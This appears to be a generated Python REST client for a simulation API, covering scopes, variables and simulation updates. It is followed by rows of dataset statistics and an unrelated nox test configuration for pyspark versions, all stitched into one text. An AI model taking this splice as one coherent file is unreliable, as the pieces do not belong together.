# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_list(self, simid, **kwargs): # noqa: E501
"""simulation_scope_list # noqa: E501
Get scopes # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_list(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int page:
:param int number:
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: PagedSimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_list_with_http_info(simid, **kwargs) # noqa: E501
def simulation_scope_list_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_scope_list # noqa: E501
Get scopes # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_list_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int page:
:param int number:
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(PagedSimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'page',
'number'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501
query_params.append(('page', local_var_params['page'])) # noqa: E501
if 'number' in local_var_params and local_var_params['number'] is not None: # noqa: E501
query_params.append(('number', local_var_params['number'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PagedSimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_read(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_read # noqa: E501
Get a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_read(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_read_with_http_info(simid, scopeid, **kwargs) # noqa: E501
def simulation_scope_read_with_http_info(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_read # noqa: E501
Get a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_read_with_http_info(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_read`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_scope_create(self, simid, scopeid, data, **kwargs): # noqa: E501
"""simulation_scope_scope_create # noqa: E501
Create a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_scope_create(simid, scopeid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param SimScope data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_scope_create_with_http_info(simid, scopeid, data, **kwargs) # noqa: E501
def simulation_scope_scope_create_with_http_info(self, simid, scopeid, data, **kwargs): # noqa: E501
"""simulation_scope_scope_create # noqa: E501
Create a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_scope_create_with_http_info(simid, scopeid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param SimScope data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_scope_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_scope_create`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_scope_create`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_scope_scope_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/scope/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_scope_list(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_scope_list # noqa: E501
Get scopes # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_scope_list(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_scope_list_with_http_info(simid, scopeid, **kwargs) # noqa: E501
def simulation_scope_scope_list_with_http_info(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_scope_list # noqa: E501
Get scopes # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_scope_list_with_http_info(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_scope_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_scope_list`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_scope_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/scope/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_var_create(self, simid, scopeid, data, **kwargs): # noqa: E501
"""simulation_scope_var_create # noqa: E501
Create a var # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_var_create(simid, scopeid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param SimVar data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimVar
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_var_create_with_http_info(simid, scopeid, data, **kwargs) # noqa: E501
def simulation_scope_var_create_with_http_info(self, simid, scopeid, data, **kwargs): # noqa: E501
"""simulation_scope_var_create # noqa: E501
Create a var # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_var_create_with_http_info(simid, scopeid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param SimVar data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimVar, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_var_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_var_create`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_var_create`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_scope_var_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/var/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimVar', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_var_list(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_var_list # noqa: E501
Get vars # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_var_list(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[SimVar]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_var_list_with_http_info(simid, scopeid, **kwargs) # noqa: E501
def simulation_scope_var_list_with_http_info(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_var_list # noqa: E501
Get vars # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_var_list_with_http_info(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[SimVar], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_var_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_var_list`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_var_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/{scopeid}/var/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[SimVar]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_update(self, simid, data, **kwargs): # noqa: E501
"""simulation_update # noqa: E501
Update a simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_update(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param Simulation data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Simulation
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_update_with_http_info(simid, data, **kwargs) # noqa: E501
def simulation_update_with_http_info(self, simid, data, **kwargs): # noqa: E501
"""simulation_update # noqa: E501
Update a simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_update_with_http_info(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param Simulation data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(Simulation, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_update`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Simulation', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_var_list(self, simid, **kwargs): # noqa: E501
"""simulation_var_list # noqa: E501
Get vars # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_var_list(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int page:
:param int number:
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: PagedSimVar
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_var_list_with_http_info(simid, **kwargs) # noqa: E501
def simulation_var_list_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_var_list # noqa: E501
Get vars # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_var_list_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int page:
:param int number:
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(PagedSimVar, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'page',
'number'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_var_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_var_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501
query_params.append(('page', local_var_params['page'])) # noqa: E501
if 'number' in local_var_params and local_var_params['number'] is not None: # noqa: E501
query_params.append(('number', local_var_params['number'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/var/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PagedSimVar', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
| 45.356759
| 142
| 0.58634
| 14,484
| 134,891
| 5.207194
| 0.013394
| 0.047626
| 0.070537
| 0.028639
| 0.990652
| 0.989936
| 0.988703
| 0.986728
| 0.985362
| 0.98275
| 0
| 0.015839
| 0.340038
| 134,891
| 2,973
| 143
| 45.372015
| 0.831369
| 0.425395
| 0
| 0.789729
| 1
| 0
| 0.183992
| 0.061055
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034004
| false
| 0
| 0.00347
| 0
| 0.071478
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
dfd0b4cbe8455ac06d88ce6cf714f2f021c87dbd
| 1,840
|
py
|
Python
|
noxfile.py
|
pratibha-vellanki/splink_graph
|
c64e6f2b490fb0fe8ed4af54e1b60e936af95fef
|
[
"MIT"
] | 5
|
2021-06-01T10:11:30.000Z
|
2021-12-27T14:20:36.000Z
|
noxfile.py
|
pratibha-vellanki/splink_graph
|
c64e6f2b490fb0fe8ed4af54e1b60e936af95fef
|
[
"MIT"
] | 28
|
2021-04-29T10:24:16.000Z
|
2021-10-06T08:37:22.000Z
|
noxfile.py
|
pratibha-vellanki/splink_graph
|
c64e6f2b490fb0fe8ed4af54e1b60e936af95fef
|
[
"MIT"
] | 3
|
2021-09-03T09:38:50.000Z
|
2021-12-10T10:40:08.000Z
|
import nox
@nox.session()
@nox.parametrize(
"python,pyspark",
[
(python, pyspark)
for python in ("3.7", "3.8")
for pyspark in ("2.4.5", "3.0.1","3.1.1")
if (python, pyspark) != ("3.8", "2.4.5")
],)
def tests(session, pyspark):
session.run("python", "-m", "pip", "install", "--upgrade", "pip")
session.install("cmake")
session.install("pytest")
session.install("pytest-order")
session.install("pandas==0.25.3")
session.install("numpy==1.19.5", "--no-deps")
session.install("scipy==1.6.0", "--no-deps")
session.install("node2vec==0.4.3")
session.install("graphframes==0.6.0")
if pyspark == "2.4.5":
session.install("pyarrow==0.14.1", "--no-deps")
else:
session.install("pyarrow==2.0.0", "--no-deps")
session.install("networkx==2.5.1")
session.install(f"pyspark=={pyspark}")
session.run("pytest", "-x","-v", "-W", "ignore::DeprecationWarning")
@nox.session(python="3.6")
